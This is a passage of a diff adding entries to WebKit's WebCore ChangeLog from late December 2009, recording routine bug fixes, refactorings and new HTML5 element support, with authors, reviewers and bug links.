+        * inspector/InspectorBackend.idl: Ditto.
+
+        * inspector/InspectorFrontendHost.idl: Ditto.
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Generate configuring of all indexers.
+        https://bugs.webkit.org/show_bug.cgi?id=33031
+
+        Refactorig, covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added generation of indexers for
+            special cases.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed custom tempalte configuration of
+            indexers.
+        * bindings/v8/custom/V8CustomBinding.h: Added decls for Applet, Embed, and Object
+            elements (these will be generated, too -- later.)
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::npObjectIndexedGetter): Moved common code to a separate method.
+        (WebCore::npObjectIndexedSetter): Ditto.
+        (WebCore::INDEXED_PROPERTY_GETTER): Added custom handlers for Applet, Embed, and Object
+          all calling the common method.
+        (WebCore::INDEXED_PROPERTY_SETTER): Ditto.
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Generate configuring of all named property getters/setters/enumerators.
+        https://bugs.webkit.org/show_bug.cgi?id=32996
+
+        Refactoring, covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added generation of named property handlers
+            for special cases (See bug for more info).
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed custom template configuration of named
+            property handlers.
+        * bindings/v8/custom/V8CustomBinding.h: Added decls for Applet, Embed, and Object
+            elements (these will be generated, too -- later.)
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::npObjectNamedGetter): Moved common code to a separate method.
+        (WebCore::npObjectNamedSetter): Ditto.
+        (WebCore::NAMED_PROPERTY_GETTER): Added custom handlers for Applet, Embed, and Object
+          all calling the common method.
+        (WebCore::NAMED_PROPERTY_SETTER): Ditto.
+
+2009-12-30  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix PluginView::handlePostReadFile().
+        https://bugs.webkit.org/show_bug.cgi?id=33052
+
+        The function should actually rewrite the given file to the buffer.
+
+        This change fixes http/tests/plugins/post-url-file.html, which can be unskipped
+        now along with other passing http/plugins tests.
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::handlePostReadFile):
+
+2009-12-30  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Rubber stamped by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32121
+        [Qt] Revert "Implement ImageDecoderQt::clearFrameBufferCache()" from r52516.
+
+        The implementation appears to either run into an ASSERT
+        or leak memory at runtime as the m_buffer, m_reader may
+        already exist. The bug was reopened and we do have a plan now.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::clearFrameBufferCache):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-12-30  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Add support for Symbian def files
+
+        * WebCore.pro:
+
+2009-12-30  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed Qt/Symbian build fix.
+
+        Don't build network state notifier support when building inside of Qt.
+        Otherwise the Qt build depends on an external module that itself depends
+        on Qt again.
+
+        * WebCore.pro:
+
+2009-12-30  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [v8] Use current isolated world's context for ScriptCallStack.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33016
+
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::state):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        (WebCore::ScriptController::currentScriptState):
+        (WebCore::ScriptController::clearWindowShell):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::scriptState):
+        * bindings/v8/V8IsolatedWorld.h:
+
+2009-12-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Turn off DataGrid support by default.
+
+        No new tests, as there is no new functionality.
+
+        * WebCore.pro:
+
+2009-12-29  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Detailed boundingBoxes in SVG Renderer
+        https://bugs.webkit.org/show_bug.cgi?id=32815
+
+        Add new bounding boxes for strokes, filters, masker and clipper in SVG.
+        These new bounding boxes help to fix repaintRectInLocalCoordinates.
+        We calculate the smallest repaint rect considering the new bounding boxes
+        now, filters get the correct paint area, masker clip the mask image size
+        to the visible area of the target.
+
+        Tests: Many tests need an update. The changes in repaintRectInLocalCoordinates
+               affect the LayoutTests.     
+
+        * rendering/RenderForeignObject.h:
+        (WebCore::RenderForeignObject::strokeBoundingBox):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::toSVGRenderBase):
+        * rendering/RenderObject.h:
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::strokeBoundingBox):
+        (WebCore::RenderPath::repaintRectInLocalCoordinates):
+        (WebCore::RenderPath::setPath):
+        * rendering/RenderPath.h:
+        (WebCore::RenderPath::markerBoundingBox):
+        * rendering/RenderSVGBlock.h:
+        (WebCore::RenderSVGBlock::toSVGRenderBase):
+        * rendering/RenderSVGContainer.cpp:
+        (WebCore::RenderSVGContainer::strokeBoundingBox):
+        (WebCore::RenderSVGContainer::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::layout):
+        (WebCore::RenderSVGImage::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGImage.h:
+        (WebCore::RenderSVGImage::toSVGRenderBase):
+        (WebCore::RenderSVGImage::strokeBoundingBox):
+        * rendering/RenderSVGInline.h:
+        (WebCore::RenderSVGInline::objectBoundingBox):
+        (WebCore::RenderSVGInline::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGModelObject.h:
+        (WebCore::RenderSVGModelObject::toSVGRenderBase):
+        * rendering/RenderSVGRoot.h:
+        (WebCore::RenderSVGRoot::strokeBoundingBox):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::strokeBoundingBox):
+        (WebCore::RenderSVGText::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGText.h:
+        (WebCore::RenderSVGText::toSVGRenderBase):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::~SVGRenderBase):
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::filterBoundingBoxForRenderer):
+        (WebCore::SVGRenderBase::clipperBoundingBoxForRenderer):
+        (WebCore::SVGRenderBase::maskerBoundingBoxForRenderer):
+        * rendering/SVGRenderSupport.h:
+        (WebCore::SVGRenderBase::toSVGRenderBase):
+        (WebCore::SVGRenderBase::strokeBoundingBox):
+        (WebCore::SVGRenderBase::markerBoundingBox):
+        * rendering/SVGRootInlineBox.h:
+        (WebCore::SVGRootInlineBox::toSVGRenderBase):
+        (WebCore::SVGRootInlineBox::objectBoundingBox):
+        (WebCore::SVGRootInlineBox::repaintRectInLocalCoordinates):
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::filterBoundingBox):
+        * svg/SVGFilterElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::maskBoundingBox):
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGMaskElement.h:
+        * svg/graphics/SVGResourceClipper.cpp:
+        (WebCore::SVGResourceClipper::clipperBoundingBox):
+        * svg/graphics/SVGResourceClipper.h:
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::filterBoundingBox):
+        (WebCore::shouldProcessFilter):
+        (WebCore::SVGResourceFilter::prepareFilter):
+        * svg/graphics/SVGResourceFilter.h:
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::maskerBoundingBox):
+        (WebCore::SVGResourceMasker::applyMask):
+        * svg/graphics/SVGResourceMasker.h:
+
+2009-12-29  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Adam Barth.
+
+        Add Android hook to NetworkStateNotifier class
+        so that the Java side can notify WebCore when the
+        network state changes.
+        https://bugs.webkit.org/show_bug.cgi?id=32871
+
+        No new tests required, this is platform code.
+
+        * platform/network/NetworkStateNotifier.h:
+        * platform/network/android/NetworkStateNotifierAndroid.cpp: Added.
+        (WebCore::NetworkStateNotifier::networkStateChange):
+
+2009-12-29  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52630.
+        http://trac.webkit.org/changeset/52630
+
+        Change caused layout tests failures and crashes.
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::repaintRectInLocalCoordinates):
+        (WebCore::RenderPath::setPath):
+        (WebCore::RenderPath::path):
+        (WebCore::RenderPath::paint):
+        (WebCore::):
+        (WebCore::DrawMarkersData::DrawMarkersData):
+        (WebCore::drawMarkerWithData):
+        (WebCore::updateMarkerDataForElement):
+        (WebCore::drawStartAndMidMarkers):
+        (WebCore::RenderPath::drawMarkersIfNeeded):
+        * rendering/RenderPath.h:
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::paint):
+        * rendering/RenderSVGViewportContainer.h:
+        * rendering/SVGMarkerLayoutInfo.cpp: Removed.
+        * rendering/SVGMarkerLayoutInfo.h: Removed.
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/graphics/SVGResource.cpp:
+        (WebCore::SVGResource::SVGResource):
+        (WebCore::ResourceSet::ResourceSet):
+        (WebCore::clientMap):
+        (WebCore::SVGResource::~SVGResource):
+        (WebCore::SVGResource::removeClient):
+        (WebCore::SVGResource::addClient):
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::SVGResourceMarker):
+        (WebCore::SVGResourceMarker::setMarker):
+        (WebCore::SVGResourceMarker::setRef):
+        (WebCore::SVGResourceMarker::draw):
+        (WebCore::SVGResourceMarker::cachedBounds):
+        (WebCore::SVGResourceMarker::externalRepresentation):
+        * svg/graphics/SVGResourceMarker.h:
+        (WebCore::SVGResourceMarker::refX):
+        (WebCore::SVGResourceMarker::refY):
+
+2009-12-29  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Move the focus ring rect array, width and offset out of GraphicsContext
+        https://bugs.webkit.org/show_bug.cgi?id=33028
+
+        * platform/graphics/GraphicsContext.cpp: Removed initFocusRing(),
+        clearFocusRing(), focusRingBoundingRect(), addFocusRingRect(),
+        focusRingWidth(), focusRingOffset(), and focusRingRects().
+        * platform/graphics/GraphicsContext.h: Ditto. Added the focus ring rect
+        vector, width and offset as parameters to drawFocusRing().
+        * platform/graphics/GraphicsContextPrivate.h:
+        (WebCore::GraphicsContextState::GraphicsContextState): Cleaned up style.
+        (WebCore::GraphicsContextPrivate::GraphicsContextPrivate): Removed
+        m_focusRingRects, m_focusRingWidth and m_focusRingOffset.
+        * platform/graphics/IntRect.cpp:
+        (WebCore::unionRect): Added this helper function.
+        * platform/graphics/IntRect.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): 
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/mac/GraphicsContextMac.mm:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::drawFocusRing): Ditto.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::addFocusRingRects): Updated for new prototype.
+        Added empty rect checks that were previously done in
+        GraphicsContext::addFocusRingRect().
+        * rendering/RenderBlock.h:
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::addFocusRingRects): Ditto.
+        * rendering/RenderBox.h:
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::addFocusRingRects): Ditto.
+        (WebCore::RenderInline::paintOutline): Collect focus ring rects into a
+        vector and pass it to drawFocusRing(). Use unionRect() instead of
+        focusRingBoundingRect().
+        * rendering/RenderInline.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::paintOutline): Ditto.
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::addFocusRingRects): Changed to take a
+        Vector<IntRect> to which the rects are added.
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::addFocusRingRects): Updated for new prototype.
+        Added empty rect check that was previously done in
+        GraphicsContext::addFocusRingRect().
+        * rendering/RenderPath.h:
+        * rendering/RenderSVGContainer.cpp:
+        (WebCore::RenderSVGContainer::addFocusRingRects): Updated for new prototype.
+        Added empty rect check that was previously done in
+        GraphicsContext::addFocusRingRect().
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::addFocusRingRects): Updated for new prototype.
+        Added empty rect check that was previously done in
+        GraphicsContext::addFocusRingRect().
+        * rendering/RenderSVGImage.h:
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::addFocusRingRects): Updated for new prototype.
+        Added empty rect check that was previously done in
+        GraphicsContext::addFocusRingRect().
+        * rendering/RenderTextControl.h:
+
+2009-12-28  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        1. Changes the order in which some functions are called to match
+        the pre-r52536 order. Namely, when a new Database object is
+        created, DatabaseTracker::addOpenDatabase() is called in the
+        constructor, before doing anything else related to that database
+        (like trying to get a file handle to the database
+        file). Chromium's implementation depends on this ordering.
+        2. Changes Database::performOpenAndVerify() to close the open
+        handle to the database file immediately if the database version
+        does not match the expected one. The current behavior is to add
+        the Database object to a DatabaseThread collection and let the
+        database thread close the handle when it's destroyed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33005
+
+        All LayoutTests/storage tests pass in clean WebKit and Chromium
+        clients.
+
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase): Notify DatabaseTracker and
+        Document that a Database object is about to be destroyed (when a
+        database file cannot be opened, or its version doesn't match the
+        expected one).
+        (WebCore::Database::Database): Notify DatabaseTracker and Document
+        that a new Database object was created.
+        (WebCore::Database::performOpenAndVerify): If a database version
+        does not match the expected one, immediately close the open file
+        handle to the database file.
+
+2009-12-29  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Marker code is buggy: referencePoint translation is off
+        https://bugs.webkit.org/show_bug.cgi?id=33012
+
+        Rewrite marker code, as it was buggy:
+        - Correct refX/refY handling (covered by new marker-referencePoint.svg test)
+        - Calculate marker bounds on layout time, instead of paint time, to deliver correct repaint rects
+        - Cleanup RenderPath code, which was cluttered by marker stuff (outlay in SVGMarkerLayoutInfo)
+        - Fix SVGResource assuming that there is only one resource per resource type per element. Markers
+          can have three different resources of the same type (three markers, start/mid/end markers)
+
+        Fixes all svg/custom/marker*.svg tests, that use dynamic updates (propagation failed before).
+        Test: svg/custom/marker-referencePoint.svg
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::repaintRectInLocalCoordinates):
+        (WebCore::RenderPath::setPath):
+        (WebCore::RenderPath::paint):
+        (WebCore::RenderPath::calculateMarkerBoundsIfNeeded):
+        * rendering/RenderPath.h:
+        (WebCore::RenderPath::path):
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::markerContentTransformation):
+        * rendering/RenderSVGViewportContainer.h:
+        * rendering/SVGMarkerLayoutInfo.cpp: Added.
+        (WebCore::SVGMarkerLayoutInfo::SVGMarkerLayoutInfo):
+        (WebCore::SVGMarkerLayoutInfo::~SVGMarkerLayoutInfo):
+        (WebCore::SVGMarkerLayoutInfo::initialize):
+        (WebCore::updateMarkerDataForElement):
+        (WebCore::recordMarkerData):
+        (WebCore::processStartAndMidMarkers):
+        (WebCore::SVGMarkerLayoutInfo::calculateBoundaries):
+        (WebCore::SVGMarkerLayoutInfo::drawMarkers):
+        * rendering/SVGMarkerLayoutInfo.h: Added.
+        (WebCore::MarkerData::):
+        (WebCore::MarkerData::MarkerData):
+        (WebCore::MarkerLayout::MarkerLayout):
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/graphics/SVGResource.cpp:
+        (WebCore::resourceSet):
+        (WebCore::SVGResource::SVGResource):
+        (WebCore::SVGResource::~SVGResource):
+        (WebCore::SVGResource::removeClient):
+        (WebCore::SVGResource::addClient):
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::SVGResourceMarker):
+        (WebCore::SVGResourceMarker::markerBoundaries):
+        (WebCore::SVGResourceMarker::markerTransformation):
+        (WebCore::SVGResourceMarker::draw):
+        (WebCore::SVGResourceMarker::externalRepresentation):
+        * svg/graphics/SVGResourceMarker.h:
+        (WebCore::SVGResourceMarker::setRenderer):
+        (WebCore::SVGResourceMarker::setReferencePoint):
+        (WebCore::SVGResourceMarker::referencePoint):
+
+2009-12-29  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix UI nits in the Audits panel.
+        https://bugs.webkit.org/show_bug.cgi?id=32932
+
+        * inspector/front-end/AuditLauncherView.js:
+        (WebInspector.AuditLauncherView.prototype._selectAllClicked):
+        (WebInspector.AuditLauncherView.prototype._createCategoryElement):
+        (WebInspector.AuditLauncherView.prototype._createLauncherUI.handleSelectAllClick):
+        (WebInspector.AuditLauncherView.prototype._createLauncherUI):
+        * inspector/front-end/AuditResultView.js:
+        (WebInspector.AuditResultView):
+        (WebInspector.AuditRuleResultPane):
+        * inspector/front-end/audits.css:
+
+2009-12-29  Johnny Ding  <jnd@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32863
+        Make NodeList support call-as-function
+
+        Test: fast/dom/NodeList/nodelist-item-call-as-function.html
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        (WebCore::V8NodeList::callAsFunctionCallback):
+
+2009-12-29  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Typed text in table not correctly redrawn on page with compositing layers
+        https://bugs.webkit.org/show_bug.cgi?id=32874
+        
+        Use the same test in RenderTableCell::computeRectForRepaint() that we use elsewhere
+        to decide when to use layoutState, which is to test for layoutStateEnabled()
+        and no repaint container.
+
+        Not possible to make a repaint test that exercises the problem, so no test.
+
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::computeRectForRepaint):
+
+2009-12-29  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Discard port from cookie domain when matching cookies.
+
+        WebKit cookies do not hold the port information, so we should match only hostnames.
+        https://bugs.webkit.org/show_bug.cgi?id=31787
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
+
+2009-12-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Fix warnings in MediaPlayerPrivatePhonon.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=33019
+
+        No new tests as there is no new functionality.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::totalTimeChanged):
+
+2009-12-29  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Implement HTML5 <aside> element.
+        https://bugs.webkit.org/show_bug.cgi?id=32943
+
+        <aside> should behave the same as <nav>, <section>, and <article>.
+
+        Test: fast/html/aside-element.html
+
+        * css/html.css: Add aside as a block element.
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag): Add asideTag.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::tagPriority): Returns 5 for asideTag.
+        (WebCore::blockTagList): Add asideTag.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode): Add asideTag.
+        * html/HTMLTagNames.in: Add aside.
+
+2009-12-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Use explicit parentheses to silence gcc 4.4 -Wparentheses warnings
+        https://bugs.webkit.org/show_bug.cgi?id=33003
+
+        No new tests as there is no new functionality.
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph):
+        * page/animation/ImplicitAnimation.cpp:
+        (WebCore::ImplicitAnimation::sendTransitionEvent):
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::sendAnimationEvent):
+        * rendering/RenderSVGContainer.h:
+        (WebCore::toRenderSVGContainer):
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::setTextShadow):
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::SVGPaintServerGradient::setup):
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+
+2009-12-28  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Dmitry Titov.
+
+        On Android, ResourceHandle instances make use of a pointer to a
+        ResourceLoaderAndroid pointer. This needs to be stored in order to later cancel
+        the load, if necessary. Since this pointer is an internal implementation
+        details of ResourceHandle on Android, it needs to be stored in the
+        ResourceHandleInternal class. This patch adds this pointer.
+        https://bugs.webkit.org/show_bug.cgi?id=32873
+
+        No new tests needed, this is platform-specific code.
+
+        * platform/network/ResourceHandle.h:
+        * platform/network/ResourceHandleInternal.h:
+        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
+
+2009-12-28  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by Maciej Stachowiak.
+
+        Remove the macro ENABLE(XHTMLMP) for noscriptAreateErrorCheck in HTMLParser,
+        since with XHTMLMP enabled, it's not checking create Errors,  and then contents inside 
+        <noscript> are always parsed and rendered.
+        https://bugs.webkit.org/show_bug.cgi?id=32706
+
+        Tests: fast/parser/noscript-with-javascript-disabled.html
+               fast/parser/noscript-with-javascript-enabled.html
+
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode):
+
+2009-12-28  Kinuko Yasuda  <kinuko@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Fixed isKeypadEvent behavior for Mac to correctly report keyLocation
+        as DOM_KEY_LOCATION_NUMPAD for numeric pad key events.
+        https://bugs.webkit.org/show_bug.cgi?id=28247
+
+        Test: fast/events/keydown-numpad-keys.html
+
+        * platform/mac/KeyEventMac.mm:
+        (WebCore::isKeypadEvent):
+
+2009-12-28  Mike Moretti  <webkit9@mordent.com>
+
+        Reviewed by Darin Adler.
+
+        Fix bug 28245 - problem with inserting a span into a long text block causing a crash because of a null string
+
+        Test: fast/dom/insert-span-into-long-text-bug-28245.html
+
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak):
+
+2009-12-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Rubber-stamped by Xan Lopez.
+
+        Follow Apple's decision to disable HTML DataGrid by default.
+
+        * GNUmakefile.am:
+
+2009-12-28  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Fix warnings when generating files using gperf. The warnings are
+        currently harmless, but some changes in the build system may make
+        them fatal.
+
+        [GTK] Build time must be reduced
+        https://bugs.webkit.org/show_bug.cgi?id=32921
+
+        * GNUmakefile.am:
+
+2009-12-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Adam Barth.
+
+        [Qt] Fix build break for Qt 4.4
+        https://bugs.webkit.org/show_bug.cgi?id=30327
+
+        No new tests, as there is no new functionality.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::clipOut): Use intersected() instead of
+        operator &, which was only introduced in Qt version 4.5.
+
+        * platform/qt/ScrollbarThemeQt.cpp:
+        (WebCore::ScrollbarThemeQt::paintScrollCorner): Pass ColorSpace
+        argument to fillColor() introduced in r50760
+
+2009-12-28  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Implement HTML5 <article> element.
+        https://bugs.webkit.org/show_bug.cgi?id=32936
+
+        <article> should behave the same as <nav> and <section>.
+
+        Test: fast/html/article-element.html
+
+        * css/html.css: Add article as a block element.
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag): Add articleTag.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::tagPriority): Returns 5 for articleTag.
+        (WebCore::blockTagList): Add articleTag.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode): Add articleTag.
+        * html/HTMLTagNames.in: Add article.
+
+2009-12-27  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Support upload progress events in XMLHttpRequest
+        https://bugs.webkit.org/show_bug.cgi?id=32969
+
+        Make QNetworkReplyHandler report the upload progress to the client.
+
+        Already covered by tests:
+        http/tests/xmlhttprequest/upload-onload-event.html
+        http/tests/xmlhttprequest/upload-onloadstart-event.html
+        http/tests/xmlhttprequest/upload-progress-events.html
+        http/tests/xmlhttprequest/upload-onprogress-event.html
+
+        which have been unskipped.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::uploadProgress):
+        (WebCore::QNetworkReplyHandler::start):
+        * platform/network/qt/QNetworkReplyHandler.h:
+
+2009-12-27  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG: Stop rendering of objects with empty mask and filter content
+        https://bugs.webkit.org/show_bug.cgi?id=32968
+
+        It's not neccessary to continue rendering of an object and its' childs
+        if the mask clips the complete content away.
+        The same for filters, if the filter rendering is discontinued or either
+        width or height are zero.
+        We might also stop rendering if repaintRectInLocalCoordinates is empty.
+        But it needs to be fixed first.
+
+        Test: svg/custom/empty-mask.svg
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+        * rendering/RenderSVGContainer.cpp:
+        (WebCore::RenderSVGContainer::paint):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::paint):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::paint):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        * rendering/SVGRenderSupport.h:
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBox::paint):
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGMaskElement.h:
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::prepareFilter):
+        (WebCore::SVGResourceFilter::applyFilter):
+        * svg/graphics/SVGResourceFilter.h:
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::SVGResourceMasker):
+        (WebCore::SVGResourceMasker::applyMask):
+        * svg/graphics/SVGResourceMasker.h:
+
+2009-12-27  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Eric Seidel.
+
+        [GTK] Spell Check Suggestions (Do not work)
+        https://bugs.webkit.org/show_bug.cgi?id=30908
+
+        * platform/gtk/ContextMenuItemGtk.cpp:
+        (WebCore::ContextMenuItem::ContextMenuItem):
+        (WebCore::ContextMenuItem::title):
+        (WebCore::ContextMenuItem::setTitle): Implement the 'title' member
+        and set the title from the native menu item.
+
+2009-12-27  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Mask result wrong, if two different objects call the same mask id
+        https://bugs.webkit.org/show_bug.cgi?id=32787
+
+        At the moment we create one resource per maskId. Some resources (like mask)
+        create ImageBuffers and depends on the properties of the RenderObject,
+        thus we can't use it for a second object.
+        This patch stores multiple mask resources for one maskId and different
+        RenderObject can use the same maskId.
+        Clipper, Filter and Patterns also need to store multiple resources later.
+
+        Test: svg/custom/mask-on-multiple-objects.svg
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::drawMarkersIfNeeded):
+        * rendering/RenderSVGContainer.cpp:
+        (WebCore::RenderSVGContainer::selfWillPaint):
